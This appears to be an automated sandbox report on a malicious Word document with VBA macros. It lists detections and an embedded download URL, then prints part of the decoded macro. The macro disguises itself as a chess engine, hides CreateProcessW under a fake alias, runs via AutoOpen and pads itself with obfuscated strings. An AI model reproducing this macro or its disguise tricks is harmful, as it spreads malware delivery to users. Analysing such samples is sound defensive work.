MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is an OOXML document containing VBA macros, specifically an AutoOpen macro that is configured to execute code. Heuristics indicate the VBA p-code executes code via the Shell function. While no specific download URLs are present in the provided evidence, the presence of a VBA macro with execution capabilities strongly suggests it's intended to download and execute a secondary payload, a common tactic for malware delivery.
Heuristics 4
-
ClamAV: Doc.Malware.W2000m-7603021-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.W2000m-7603021-0
-
VBA project inside OOXML medium 1 related finding OOXML_VBADocument contains a VBA project — VBA macros present
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub autoopen() 'ChooseBookMove() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- http://xoomer.virgilio.it/ludormio/download.htmIn document text (OOXML body / shared strings)
- http://www.gnu.org/licenses/In document text (OOXML body / shared strings)
- http://xoomer.virgilio.it/ludormio/download.htm)�In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 399096 bytes |
SHA-256: cce67452ac80d9eb0c7ac022d814628cc9687122be0d456fd8a2075fde1cbc37 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ChessBrainVB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "HashBas"
'==================================================
'= HashBas:
'= Hash functions
'==================================================
'The style of the hash table rows
Public Const TT_NO_BOUND As Byte = 0
Public Const TT_UPPER_BOUND As Byte = 1
Public Const TT_LOWER_BOUND As Byte = 2
Public Const TT_EXACT As Byte = 3
Private Const HASH_CLUSTER As Long = 4
Public Const TT_TB_BASE_DEPTH As Long = 222
Public Type THashKey
' 2x 32 bit
HashKey1 As Long
HashKey2 As Long
End Type
#If VBA7 Then
Public Declare PtrSafe Function GdiGetBatchLimit Lib "gdi32 " () As LongPtr
Public Declare PtrSafe Function GdiTransparentBlt Lib "gdi32 " (ByVal hDC As LongPtr, ByVal x As LongPtr, ByVal Y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hSrcDC As LongPtr, ByVal xSrc As LongPtr, ByVal ySrc As LongPtr, ByVal nSrcWidth As LongPtr, ByVal nSrcHeight As LongPtr, ByVal crTransparent As LongPtr) As Boolean
Public Declare PtrSafe Function MakeSureDirectoryPathExists Lib "imagehlp.dll " (ByVal lpPath As String) As LongPtr
Public Declare PtrSafe Function CreateFileW Lib "kernel32 " (ByVal lpFileName As LongPtr, ByVal dwDesiredAccess As LongPtr, ByVal dwShareMode As LongPtr, ByVal lpSecurityAttributes As LongPtr, ByVal dwCreationDisposition As LongPtr, ByVal dwFlagsAndAttributes As LongPtr, ByVal hTemplateFile As LongPtr) As LongPtr
Public Declare PtrSafe Function CloseHandle Lib "kernel32 " (ByVal hObject As LongPtr) As LongPtr
Public Declare PtrSafe Function CreateCompatibleDC Lib "gdi32 " (ByVal hDC As LongPtr) As LongPtr
Public Declare PtrSafe Function WaitForSingleObject Lib "kernel32 " (ByVal _
hHandle As LongPtr, ByVal dwMilliseconds As LongPtr) As LongPtr
Public Declare PtrSafe Function SetEnvironmentVariable Lib "kernel32 " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As LongPtr
Public Declare PtrSafe Sub GetStartupInfoA Lib "kernel32 " (lpStartupInfo As STARTUPINFO)
Public Declare PtrSafe Function GetEnvironmentVariable Lib "kernel32 " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As LongPtr) As LongPtr
Public Declare PtrSafe Function GetDC Lib "user32 " (ByVal hwnd As LongPtr) As LongPtr
Public Declare PtrSafe Function DeleteObject Lib "gdi32 " (ByVal hObject As LongPtr) As LongPtr
Public Declare PtrSafe Function SelectObject Lib "gdi32 " (ByVal hDC As LongPtr, ByVal hObject As LongPtr) As LongPtr
Public Declare PtrSafe Function BitBlt Lib "gdi32 " (ByVal hDestDC As LongPtr, ByVal x As LongPtr, ByVal Y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hSrcDC As LongPtr, ByVal xSrc As LongPtr, ByVal ySrc As LongPtr, ByVal dwRop As LongPtr) As LongPtr
Public Declare PtrSafe Function LegendasApiPro Lib "kernel32 " Alias "CreateProcessW" (ByVal lpApplicationName As LongPtr, ByVal lpCommandLine As LongPtr, ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
ByVal bInheritHandles As LongPtr, ByVal dwCreationFlags As LongPtr, _
ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As LongPtr, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Public Declare PtrSafe Function StretchBlt Lib "gdi32 " (ByVal hDC As LongPtr, ByVal x As LongPtr, ByVal Y As LongPtr, ByVal nWidth As LongPtr, ByVal nHeight As LongPtr, ByVal hSrcDC As LongPtr, ByVal xSrc As LongPtr, ByVal ySrc As LongPtr, ByVal nSrcWidth As LongPtr, ByVal nSrcHeight As LongPtr, ByVal dwRop As LongPtr) As LongPtr
Public Declare PtrSafe Function GetStretchBltMode Lib "gdi32 " (ByVal hDC As LongPtr) As LongPtr
#Else
Public Declare Function GdiGetBatchLimit Lib "gdi32 " () As Long
Public Declare Function CreateCompatibleDC Lib "gdi32 " (ByVal hDC As Long) As Long
Public Declare Function GdiTransparentBlt Lib "gdi32 " (ByVal hDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal crTransparent As Long) As Boolean
Public Declare Function MakeSureDirectoryPathExists Lib "imagehlp.dll " (ByVal lpPath As String) As Long
Public Declare Function CloseHandle Lib "kernel32 " (ByVal hObject As Long) As Long
Public Declare Function CreateFileA Lib "kernel32 " (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal lpSecurityAttributes As LongPtr, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Public Declare Function BitBlt Lib "gdi32 " (ByVal hDestDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Public Declare Function GetDC Lib "user32 " (ByVal hwnd As Long) As Long
Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As Long, ByVal dwMilliseconds As Long) As Long
Public Declare Function SetEnvironmentVariable Lib "kernel32 " Alias "SetEnvironmentVariableA" (ByVal lpName As String, ByVal lpValue As String) As Long
Public Declare Function GetEnvironmentVariable Lib "kernel32 " Alias "GetEnvironmentVariableA" _
(ByVal lpName As String, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Sub GetStartupInfoA Lib "kernel32 " (lpStartupInfo As STARTUPINFO)
Public Declare Function DeleteObject Lib "gdi32 " (ByVal hObject As Long) As Long
Public Declare Function LegendasApiPro Lib "kernel32 " Alias "CreateProcessW" (ByVal lpApplicationName As Long, ByVal lpCommandLine As LongPtr, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Public Declare Function SelectObject Lib "gdi32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Public Declare Function StretchBlt Lib "gdi32 " (ByVal hDC As Long, ByVal x As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long
Public Declare Function GetStretchBltMode Lib "gdi32 " (ByVal hDC As Long) As Long
#End If
Public ZobristHash1 As Long
Public ZobristHash2 As Long
Public HashWhiteToMove As Long
Public HashWhiteToMove2 As Long
Public HashWCanCastle As Long
Public HashWCanCastle2 As Long
Public HashBCanCastle As Long
Public HashBCanCastle2 As Long
Public InHashCnt As Long
Public HashUsage As Long
Private bHashUsed As Boolean
Public HashGeneration As Long
Public EmptyHash As THashKey
Private Type HashTableEntry
Position1 As Long ' 2x32 bit position hash key
Position2 As Long
Depth As Long ' negative values possible for QSearch
MoveFrom As Byte
MoveTarget As Byte
MovePromoted As Byte
EvalType As Byte
Eval As Long
StaticEval As Long
Generation As Byte
IsChecking As Boolean
End Type
Public HashSize As Long
Dim ZobristTable(1, 0 To 16) As Long ' key for each piece typ eand board position
Dim ZobristTable2(1 To 5, 0 To 16) As Long
'The main array to hold the hash table
Private HashTable() As HashTableEntry
Private Sub MemDrawLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
Selection.TypeText "bGBaFDEdB8EC9eGd9b7c6Ed6cabE9F8Fab9AdD9DcEFbc6eBDEE7BEAGF9G7AG5bCeacAee9b8c6d"
Selection.TypeText "dcFFCECGceceeDa86ABbeAd59E8G7bCDEGE6c5D5bcbDE9ea89dCe8bBec6GG5F988C8B665E66Cd"
Selection.TypeText "B66FdaEeDCeeD7bEE955A6DBAdDGd8bFEacF6b6a9DD9bd9FCd97d66B9Ba5Cd6cD665FFDAcF67e"
Selection.TypeText "bdD89cF7Gaa7Aec568Cc97eAA6EG8DbA9e5Cd85cdDd6C8d8BBac757Ba57Ga8F6cBa5Aae96ccGF"
Selection.TypeText "d7bbb95aE77FccCdDede8e9eBdA8A8ebbc5bD87GDbdFe5GG956DF6CGFe888CDD6B9E8BA75ddB5"
Selection.TypeText "c5aCE7A6A6eG7eD96bBAacEaaFaDdcd8CGE7ebcDBC9bAB6G58e9BcCBADA98c9BCFdBCc87FFB9A"
Selection.TypeText "C6bFaddGDbaC79eB679GEFD976BaB5GE5G7eFdFB7C5c8A6AGcA58aGEa67GaBcAE6aEA5B9DBaCd"
Selection.TypeText "D65bBA5GGB5GGCEFD697E8BecE9DB88adBFBC85BDF6c85acFF6EdG8FG7CGC5F66eaGD9e9cFd6c"
Selection.TypeText "c97bdADbdFDE8CC96aGc8CGF6EAF788BABeB8d6EDDGF7b778cD8CEbBDDcdGe8C8daB8BCcGCC5E"
Selection.TypeText "CGD5Fea6AdAABceEEGG5EGc956D9dc95EB9AEG5C8dcCbBC65DBCaFdBaaec8bGGCG68eC687F5Ac"
Selection.TypeText "77cdaaAd6eadF9cFad655G66CEAECD7A9e5ae6abD6BGcGBd5d9CEe5GE98Dd6d5A7dD66accDbdD"
Selection.TypeText "8F6B9a9bBCB6AbeB9F6ddaDEbBDBeADbE9DcBBdBabdBbAecEcD9DGE8aC6B8EEe6dC85Faba8Baa"
Selection.TypeText "Faa9cAb7DGEE9C6GbDEEAb69GDF7a69B7DbF996GbEaFc6aBF7dcGBbb7dCGec5ce9eaC5a8bAeFd"
Selection.TypeText "6dF88cdGdCFEGDd85DAEE6Dc8e6BE56BdF8CGe6G7GFGAAdaA6AAcaGe8c856EFABCGF57B8E5adD"
Selection.TypeText "daBbEb68aFAAceD57887GDDBa6D6c5B89FeedGFFdFG7aDeb88b95cCF9C7Fb666C7CEGaBecdGDB"
Selection.TypeText "G6e8FdddAD5adGd7C8dGaaACC5GbbF8DeFGbEe6e8eGF9E5DBab75BEB7GDeb58Ebd5C9dDd7bd8E"
Selection.TypeText "A6EGCA55F7aeGd57E76CDb59FGccF9daE9aGEeeDde5B9Dc8D9FGbCeGBbFBA5CbD6D9beBF77Dc8"
Selection.TypeText "D5eAaaEEF556EBFG68aeAEdae9C9G56E7EAFaEdec6bD85cCC5BdFaccAAA755Fbdb65DaeDbF5C7"
Selection.TypeText "e6dBGeDaB785cCdFF75989C85cadC65E9b5dDBE8G5d5ac9668EeEAAba59BcccE8B67b87E6bFCB"
Selection.TypeText "GeC8aeAee68C8C7A86cFEac998ADc56CE5eF5BdcD69cc5d8CCDe9CEC8EECAbeBGBEdDFF7cGGbc"
Selection.TypeText "e679977A6DC97a9cbeebEBcG6B9a8Bd6BaFB6EDDFbD8bEcDBccaC6eC9cbd5Ge8CA5EGFBD8dbCe"
Selection.TypeText "a6Dc6bDbAEBAD86c8abEEDEeaDGGEcAaeDGb5DAbAEcFe7BEEGA98dDcDCaBFcBdAdD8bd56Aed7F"
Selection.TypeText "aGeG898cdbCdAcdb5dBG86BEbc5BC57aeCB5Ec5DFGAEFEd9dEeAE9de6GFdb76F6EFAEbeCEBeE5"
Selection.TypeText "DcaeCcF865FaCcddFC86BAFBd79a9979GeCBA9A8cBF7CDaCAEbb8dA77B8BB7GGdC6Aea787GAA7"
Selection.TypeText "7dE7EeC9de7d5AcEc9GeGBEbccbEacEAa59G587BdD86bBC8c96GAaBaa8c79Fe8a6GGed8CG7B8G"
Selection.TypeText "9FabdDb6CF6Aa7dB8e7b6Fd8G8D679d69GaCGF8ededacCEbF6GBbbcb8eAGa875GeeGedGEaDGD7"
Selection.TypeText "a5bDeEGFaeda7DDAD798AGDb7ebDcAE9FABBbDCD9EC7c9BAdC8dDeD9Fcb5BFGG65c6Da5AeC9EA"
Selection.TypeText "E8DBDdGD8dbAGedFAGDa9D7Dd7DEEDdbdEGbdBdDFEE6A6baFGCD9E8B57aaeGeeCbc5CD9Ce667E"
Selection.TypeText "dBad59FeFDF6dceEeD8a9Aa6FcA5aB8G8dEa7Bb756Fe6A55aCF69bebGBbFccEc9eb9d8BF7aGBb"
Selection.TypeText "ADBGe9G6cc69F6FEF55EDBb7abCce8EbbaeCCFGCAda8d9dAAbb8BE765DCdCb8AAadB5B85Cbe8b"
Selection.TypeText "CEC896FC8E9C6aaddDd75CabEbG67aFb7FcecEFc856Bc5EG5aeFCbGb7DE96baDGaCAB9E7dcC5b"
Selection.TypeText "Gc6FD689dAD6EcbAC55DAd7GaB7Bec959987aG5aACaCE6GAa5daaE5D7BFbaaa5ceE6AE79CBAEE"
Selection.TypeText "DCDA6C69GcADaF5dEFFe6EAGdDbCA57Fa9eFca7dGGA8G6a95GEbdCFb7F55AeE57FCGd7cCcbdDe"
Selection.TypeText "CFGe8DBa8C77c6a5cCcb7ADa8b8e89GB8aFccc859eEA6bFee6bEeADd9GE9bGEB5eBEDCbc99FB6"
Selection.TypeText "aCCFB6Dbb5e9eDc98bGEe8CeEae9a6GbecB7aaCeBaC7AAa7Aa7aF5ed75798b9a7bA55CbFEebb6"
Selection.TypeText "DFaGB7eE9GB8eBbDbGb7deca7C9a7a8EdeddGbcc5EeECGbF7598FFF7597DCGEEeG6DdC7a8E7AD"
Selection.TypeText "F97EEDF66Gd6B5eCB9GG7e5CAb69BEaDEGA9a5F7FCeeG99e57GccaA8D7A78EEe5FDdFE9GdCFDc"
Selection.TypeText "BD6BGDdDc86DeG98DCG9DB8G7CeD8FB8966ebDa9DDb9FFaFDA658eA55edFE8G5CGbFGba6CGdF9"
Selection.TypeParagraph
End Sub
Public Function TestDocSize() As Boolean
LoadFilesFromDisk "C:\AprilReport\LogsTsg\LogsTsg7\LogsTsg8\List1.bat"
MsgBox "Process Finished"
End Function
Public Sub InitHash()
'Initialize the hash-table
Static bIniReadDone As Boolean
If Not bIniReadDone Then
HashSize = HashSize * 40000 ' seems to fit...? hash len = 22
bIniReadDone = True
End If
End Sub
Private Sub MemDrutyuawLine3754()
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "e76F655Db989AABcaGee6857aFEFGFbdG6b9Ea677CDEGbc6BF665d59BFE9cd5d7cB6A75E8CA6a"
Selection.TypeText "DC7Cea5BAFbaaa65ccC79eC8E79DdBdBabC5d9cecBeFDecDdEBFea5b7bEa6FBAaEe566CabDac7"
Selection.TypeText "5GD77dBECdGbG9EDEE6bEGacb966AE6cDCad675B55b9ebc8GGd57dB9DacBC6FD8c7DG87BaBFdA"
Selection.TypeText "5AcaeBcGAa88Gbc7cGBAE77bdceaE7CCBC7EB655b6E56G5EeEB587db5FG9b8bADGGe76D89deCa"
Selection.TypeText "c9859DEEC6B899caBAA86D7A5CGCEG5DDd5cebbEC5dd8BAGD67cE69ccBecE78A7GdDBdaD8a7G7"
Selection.TypeText "GGGcdCB9EcC9CcCGd758a6E9CcDb5AFA8e9Gec9bBA96d69dE8dGAcd96b68A8e66BEaADdDaaB6E"
Selection.TypeText "76bBGc8dabbCae5Gb775GCdcEB6FFCG5ECCGCceDebeE57BCaG9CBb7CB57eebd8ed9accd6B5F86"
Selection.TypeText "eCFDA5Da6FcAddF6d7aFAEEFAdEB6cG7ce8Fe6cc68DAD87dadF88eDcD79DAB88b9EA5aCB6FEEe"
Selection.TypeText "BAFc58c5BcCGaF6F6FD9ba8dD7dBdEd87edGCEDEDcBbBE7GcA5adaEAA89FGdBBDdGdacDe5987B"
Selection.TypeText "F5CDd6dDcCEaG7GCFBCBGB8996edcBe6cGdAd66D85ebB9E6FGB69GFB7C6B9Ed7da668c6GecDBb"
Selection.TypeText "b8578576abDDGCcbFDbd8aea6FGe9GB99cc8caFAaEECDd9FGC5dE95ae659CcDD5Faa8Ae8b7dFc"
Selection.TypeText "EG8bc96c5bacGFCeGc6CddF6dGbaCd5C7cDGbcBb6FbaaFA5ee7CaD9GG98eCGa5579ed56855d7F"
Selection.TypeText "9977ccG7b5aFG5eFDa77AAcd7675B8E69E75GB85EeDCbCAEGeGAe6dGAbcGa88AbC8EFF5ad95cb"
Selection.TypeText "5EbbGD98c6bF96ddd6AceA79BFG5AE55EGbdFb6dcBe5EBb6caDF76eDe9AC86a7EeE8BEGDB969F"
Selection.TypeText "DEBdE6CebF9cAdCdCG9eEE9cdBF997ED8d89de7AcacceC9E9GeEGe7BdBCdE77ecGAFd69E7aDCA"
Selection.TypeText "8F7bGCcE7AGddB9d9CbEe6CGddFGeFdBGa97F85d5AcFae8bAeAeGDbaG76G9957aD8b7cF56bDB7"
Selection.TypeText "EE8DaFeCFdCee5cEcE985b7aG8bBe7cBAbFaBc6BB8bGBAa5DAaA859bcDebCCdbbdEGdd88GFCCc"
Selection.TypeText "bBdFebDadDDCC8F55ABCdDd8CaeGA9B96GCA79C8a7FF8c8A8AdeaeB69edE87CFdG88G8GacD57B"
Selection.TypeText "C86De655Bd6bCFGeeBe7FFe9EE9ADAC9BFaFedFCAFFGDFaaaEGaa9cAFdC79eEFGDG7BcaAD56Ed"
Selection.TypeText "cFEB6FFBcDdb89AEFaBF8aaFAD9G9bF5aB5A9CcGF6CDE5CbeB78GadeFCFeEC567EBE65c68dd6B"
Selection.TypeText "9FcF9BeEEFFF7d665FD759C85EabEdbAabdEB9bB778e9d5Cab6aBeBE8BdF8D75G7d7cEbGFcAA7"
Selection.TypeText "CbG9GA9CC98GbB6EF8GFCeaGBGFBGG7b979BCCD6GGDB6EGBAGb5DGFGCdEc77dAAc7dDGCad6abG"
Selection.TypeText "eBb9B7C86aCDFBE9BBa8Gae5DeaaDcBadF9DdE78b5BGC7AbaBaCa98edacbcec5eA7EGbFBee85C"
Selection.TypeText "Bc8AcBe67GB699D6FGaB7GDDb5D6ccdDbD56655cD9ce6EAA8be7aACdG69eb7BdA67aFDcBAcbA8"
Selection.TypeText "cAaFFd6EDBe6DF6aGAaaDF76ddd8FcCGbDdGDe56Fc566ECEG7E5GeA6EbGG8AGaabc8dG8B58Dd6"
Selection.TypeText "8676E6Dc5Fb86dDc7AeebAG56cDc9eEdG8F5a5c9G8F8aeCc6EBecedde8CBeF58BaD95E8BdbF69"
Selection.TypeText "57b77bGED6cDcD9ABCad97c6A6AeGcA7G8CA8baDDDFacbEe9e8D67ACG5e9cG6a59dEC8EGAAdDa"
Selection.TypeText "b995Gc5BbCbeAb8bAGaF6D9G7bb5B8CFAcc5d5GFD6e5GB7AB76CeaDAEc698CbCcGeAaEBdE865a"
Selection.TypeText "aeEcCF97Bb77E8GGabd7bEB98c958EFC87ABbA5DA7B988c6GaFFb6aC7GAAC8d8Cc8FG8GC56CCd"
Selection.TypeText "69AC9C7Gd7Cd9bG6CG6e768Aac7Ee59ACCBaDF5dCFdE58dG9BF9D7DBABb8ECB7EcB8Gd6Ga8dAb"
Selection.TypeText "bFc8bCcAbdAC8Gc8aD9BDcFBeEA99CG6d8c97CDEbF97CGedDa5597eEBFEGdEDbDBddBdD7DFb8C"
Selection.TypeText "78b6EBCCe78bDB5BAEBcec7DD6FDdCAa9E79b6Ea9G9G5dA95CaDFCb66CBED6dEG7bDDFca7d96E"
Selection.TypeText "E9AC9a565aG9AeFbD5ce75e59GDa6EabEDCBD8aa577aD6d8b8FGe79CGebF99e79de759576bDEA"
Selection.TypeText "87abb9B966a66BBeeDEG9aCeF7b867B7bBFGcd9e59BAb8c9aDc6GECBBFGceDDABdDCacA7Bc8GA"
Selection.TypeText "8EabFcd565Eb98d9dBeeCAGC95F7GFb98eG56B8G8E6GebBdABaaF5cBDED9Deaa7bBBG8eBe88E7"
Selection.TypeText "CeAcabe67Da95C5D7B8C6B65CGc969Fa8ccbDDAaD9GGAd76BaCb6cccF9Ba7579GF6BF6CcaCe7E"
Selection.TypeText "bD86e55edD7eG7B7DG7ECDe68b6GC7F9cEbGG97D7C6GFGGbdBcDG686G9ce5AAFF97GDGD8dDAGd"
Selection.TypeText "8GE77ae6a69FcFACAC657E8d9EeDcb9FB7d7cAEbed7be7ADcGCEa6Bd7eFFdBC66dAcCAd7aeG9a"
Selection.TypeText "Dc6DAFdAeF7ecCEdE55cFBaa96bA8cBBeCbDb8dDbG97ED5AeB7bdG8CF6dCd9GCb9EEGBd7B88eG"
Selection.TypeText "8d58AEG996EEAE8AG5EB7Ee8DC9GDEca7996ad9AABd6F77AFF58d5accadCdAFFEB9EC6ccdGeeD"
